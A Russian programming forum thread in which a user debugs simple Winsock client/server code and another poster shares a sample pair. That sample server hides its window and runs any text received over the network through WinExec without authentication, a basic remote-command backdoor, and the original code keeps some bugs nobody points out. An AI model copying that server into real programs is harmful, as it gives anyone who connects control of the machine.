Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[3.15.17.137] |
|
Сообщ.
#1
,
|
|
|
Здравствуйте.
Я не могу понять, где у меня ошибка... Клиент не подключается к ерверу. Вроде всё по примерам делаю, а не входит. Может, кто-нибудь более опытный в этих делах поможет подсказать, где ошибка? Server.cpp: #include <windows.h> #include <windowsx.h> #include <winsock.h> //------------------------------------------------------------- #define DEF_HOSTADDR "127.0.0.1" #define WSA_ACCEPT (WM_USER + 1) //------------------------------------------------------------- static int PORT = 777; static SOCKET ss, cc, r; static sockaddr_in Addr; WSADATA WSAData; //------------------------------------------------------------- void Init() { WSAStartup (MAKEWORD(1, 1), &WSAData); Addr.sin_family = AF_INET; Addr.sin_addr.s_addr = INADDR_ANY; Addr.sin_port = htons(PORT); } //------------------------------------------------------------- void StartServer (HWND hWnd) { ss = socket(AF_INET, SOCK_DGRAM, 0); if (ss == INVALID_SOCKET) { MessageBox(NULL, "socket Error", "Error", MB_OK); return; } bind(ss, (sockaddr*)&Addr, sizeof(Addr)); listen(ss, 2); WSAAsyncSelect(ss, hWnd, WSA_ACCEPT, FD_ACCEPT); } //------------------------------------------------------------- LRESULT CALLBACK WinProc (HWND hWnd, UINT msg, WPARAM WParam, LPARAM LParam) { PAINTSTRUCT ps; HDC hDC; int length = sizeof(Addr); switch (msg) { case WSA_ACCEPT: accept(ss,(sockaddr*)&Addr, &length); MessageBox(NULL, "┼ёЄ№ ёюфшэхэшх", "╩ышхэЄ", MB_OK); return 0; case WM_CREATE: Init(); StartServer(hWnd); return 0; case WM_PAINT: hDC = BeginPaint(hWnd, &ps); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); } return DefWindowProc(hWnd, msg, WParam, LParam); } //...... Client.cpp: #include <windows.h> #include <windowsx.h> #include <winsock.h> //------------------------------------------------------------- #define DEF_HOSTADDR "127.0.0.1" #define WSA_ACCEPT 1 //------------------------------------------------------------- static int PORT = 777; static SOCKET ss, cc, r; static sockaddr_in Addr; WSADATA WSAData; //------------------------------------------------------------- void Init() { WSAStartup (MAKEWORD(2, 2), &WSAData); } //------------------------------------------------------------- void StartClient (HWND hWnd) { sockaddr_in servsin; ss = socket(AF_INET, SOCK_DGRAM, 0); servsin.sin_family = AF_INET; servsin.sin_port = htons(PORT); servsin.sin_addr.S_un.S_addr = inet_addr(DEF_HOSTADDR); if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR) { MessageBox(NULL, "socket Error", "Error", MB_OK); return; } } //------------------------------------------------------------- LRESULT CALLBACK WinProc (HWND hWnd, UINT msg, WPARAM WParam, LPARAM LParam) { PAINTSTRUCT ps; HDC hDC; switch (msg) { case WM_CREATE: Init(); StartClient(hWnd); return 0; case WM_PAINT: hDC = BeginPaint(hWnd, &ps); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); } return DefWindowProc(hWnd, msg, WParam, LParam); } //... Подскажите пожалуйста. Мне надо в кратчайшие сроки написать программку, а у меня дажи простые вещи не получаются |
Сообщ.
#2
,
|
|
|
Сервер
#include <windows.h> #include <windowsx.h> #include <string.h> #include <stdio.h> #include <winsock.h> #include "serverres.h" #define WS_VERSION_REQD 0x0101 #define WM_ASYNC WM_USER+1 HINSTANCE hInst; HWND hwndMain; WSADATA stWSAData; SOCKET hSock = INVALID_SOCKET; SOCKET hSock2 = INVALID_SOCKET; SOCKADDR_IN myaddr; WORD WSAEvent; char mess[260],*pMess = mess, TxtBuf[256],RetBuf[256]; LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam); static BOOL InitApplication(void) { WNDCLASS wc; memset(&wc,0,sizeof(WNDCLASS)); wc.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ; wc.lpfnWndProc = (WNDPROC)MainWndProc; wc.hInstance = hInst; wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wc.lpszClassName = "serverWndClass"; wc.lpszMenuName = NULL; wc.hCursor = LoadCursor(NULL,IDC_ARROW); wc.hIcon = LoadIcon(NULL,IDI_APPLICATION); if (!RegisterClass(&wc)) return 0; return 1; } HWND CreateserverWndClassWnd(void) { return CreateWindow("serverWndClass","server", WS_MINIMIZEBOX|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_MAXIMIZEBOX|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_THICKFRAME, CW_USEDEFAULT,0,CW_USEDEFAULT,0, NULL, NULL, hInst, NULL); } LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam) { int mess_len; DWORD lenaddr; switch (msg) { case WM_COMMAND: break; case WM_DESTROY: PostQuitMessage(0); break; case WM_ASYNC: WSAEvent = WSAGETSELECTEVENT (lParam); switch (WSAEvent) { case FD_READ: recv(hSock2, mess, 260, 0); memcpy(&mess_len,pMess, sizeof(mess_len)); memcpy(TxtBuf, (pMess + sizeof(mess_len)), mess_len); WinExec(TxtBuf,SW_SHOW); wsprintf(RetBuf,"%s dana-OK!",TxtBuf); send(hSock2,RetBuf,256,MSG_OOB); return 0; case FD_ACCEPT: lenaddr=sizeof(myaddr); hSock2=accept(hSock,(LPSOCKADDR)&myaddr,&lenaddr); send(hSock2,"Connect OK",256,MSG_OOB); return 0; } break; default: return DefWindowProc(hwnd,msg,wParam,lParam); } return 0; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { MSG msg; hInst = hInstance; if (!InitApplication()) return 0; if ((hwndMain = CreateserverWndClassWnd()) == (HWND)0) return 0; ShowWindow(hwndMain,SW_HIDE); WSAStartup(WS_VERSION_REQD, &stWSAData); hSock = socket (AF_INET,SOCK_STREAM,0); WSAAsyncSelect (hSock,hwndMain,WM_ASYNC, FD_ACCEPT | FD_READ); myaddr.sin_family = AF_INET; myaddr.sin_addr.s_addr = htonl (INADDR_ANY); myaddr.sin_port = htons (2049); bind(hSock,(LPSOCKADDR)&myaddr, sizeof(struct sockaddr)); listen (hSock, 5); while (GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; } Клиент #include <windows.h> #include <windowsx.h> #include <commctrl.h> #include <string.h> #include <stdlib.h> #include <winsock.h> #include "tcpres.h" #define IDD_MAINDIALOG 100 #define IDB_SOCKET 101 #define IDB_SEND 102 #define IDB_RESV 103 #define IDM_PORT 104 #define IDE_IP 105 #define IDE_RUN 107 #define IDB_CON 109 #define IDE_MSG 110 #define IDB_SOCKETS 201 #define IDB_SOCKETC 203 #define WS_VERSION_REQD 0x0101 #define WM_ASYNC WM_USER+1 WSADATA stWSAData; int nRet; HWND hwndDlg; SOCKET hSock = INVALID_SOCKET; char mess_buf[260], *pMess = mess_buf; char TxtBuf[256]; SOCKADDR_IN rmaddr; int nAddrSize = sizeof(SOCKADDR); WORD WSAEvent; static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam); int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpCmdLine, int nCmdShow) { WNDCLASS wc; memset(&wc,0,sizeof(wc)); wc.lpfnWndProc = DefDlgProc; wc.cbWndExtra = DLGWINDOWEXTRA; wc.hInstance = hinst; wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1); wc.lpszClassName = "tcp"; RegisterClass(&wc); WSAStartup(WS_VERSION_REQD, &stWSAData); hSock = socket (AF_INET, SOCK_STREAM, 0); return DialogBox(hinst, MAKEINTRESOURCE(IDD_MAINDIALOG), NULL, (DLGPROC) DialogFunc); } static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { int mess_len; switch (msg) { case WM_INITDIALOG: wsprintf(TxtBuf,"127.0.0.1"); SendDlgItemMessage(hwndDlg,IDE_IP,WM_SETTEXT,(WPARAM)256,(LPARAM)TxtBuf); return TRUE; case WM_COMMAND: switch (LOWORD(wParam)) { case IDB_SEND: SendDlgItemMessage(hwndDlg,IDE_RUN,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf); mess_len = sizeof(TxtBuf); memcpy(pMess, &mess_len, sizeof(mess_len)); memcpy((pMess+4), TxtBuf, mess_len); send(hSock,mess_buf,mess_len + sizeof(mess_len),0); return 1; case IDB_CON: rmaddr.sin_family = AF_INET; SendDlgItemMessage(hwndDlg,IDE_IP,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf); rmaddr.sin_addr.s_addr = inet_addr(TxtBuf); rmaddr.sin_port = htons (2049); connect (hSock, (struct sockaddr *)&rmaddr,sizeof(rmaddr)); SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)"Try connecting with "); SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf); SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28); nRet=WSAAsyncSelect (hSock,hwndDlg,WM_ASYNC,FD_READ); return 1; } return TRUE; case WM_CLOSE: nRet = WSACleanup(); EndDialog(hwndDlg,0); return TRUE; case WM_ASYNC: WSAEvent = WSAGETSELECTEVENT (lParam); switch (WSAEvent) { case FD_READ: nRet=recv(hSock,TxtBuf,256,0); SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf); SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28); } return TRUE; } return FALSE; } Ресурсы клиента /* Wedit generated resource file */ #include <windows.h> IDD_MAINDIALOG DIALOG 110, 40, 280, 146 STYLE DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU CAPTION "tcp" FONT 8, "Helv" BEGIN PUSHBUTTON "Send", IDB_SEND, 215, 118, 42, 14 EDITTEXT IDE_IP, 128, 18, 78, 12, ES_AUTOHSCROLL LTEXT "IP Address", 106, 89, 18, 36, 12 EDITTEXT IDE_RUN, 48, 118, 158, 12, ES_AUTOHSCROLL LTEXT "Message", 108, 9, 118, 29, 12 PUSHBUTTON "Connect", IDB_CON, 216, 16, 40, 14 EDITTEXT IDE_MSG, 13, 36, 244, 74, ES_MULTILINE | ES_AUTOVSCROLL | ES_OEMCONVERT | ES_WANTRETURN | WS_VSCROLL END Разбирайся. Не понятно - спрашивай. |
Сообщ.
#3
,
|
|
|
Потому что в исходнике надо определить #define WM_ASYNC WM_USER+1 Вообще код довольно Данилы стремный, А по твоему, без исходника сервера, что то понять очень сложно |
Сообщ.
#4
,
|
|
|
Это не мой код. Человек попросил что-нибудь.
|
Сообщ.
#5
,
|
|
|
DanilaЯ кое-что поменял в своей программе в соответствии с твоим кодом. Но всё-равно не кажет.
Добавлено Цитата А по твоему, без исходника сервера, что то понять очень сложно Исходники сервера у меня приведены. |
Сообщ.
#6
,
|
|
|
Цитата Хакас @ Исходники сервера у меня приведены. Извиняюсь. Первое, что бросилось в глаза (в клиенте): if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR) //Не cc, а ss! { MessageBox(NULL, "socket Error", "Error", MB_OK); return; } Ты создаешь сокет с именем ss, а конектишься используя cc |
Сообщ.
#7
,
|
|
|
Уфффф....
Ну наконец-то... Спасибо ребята! |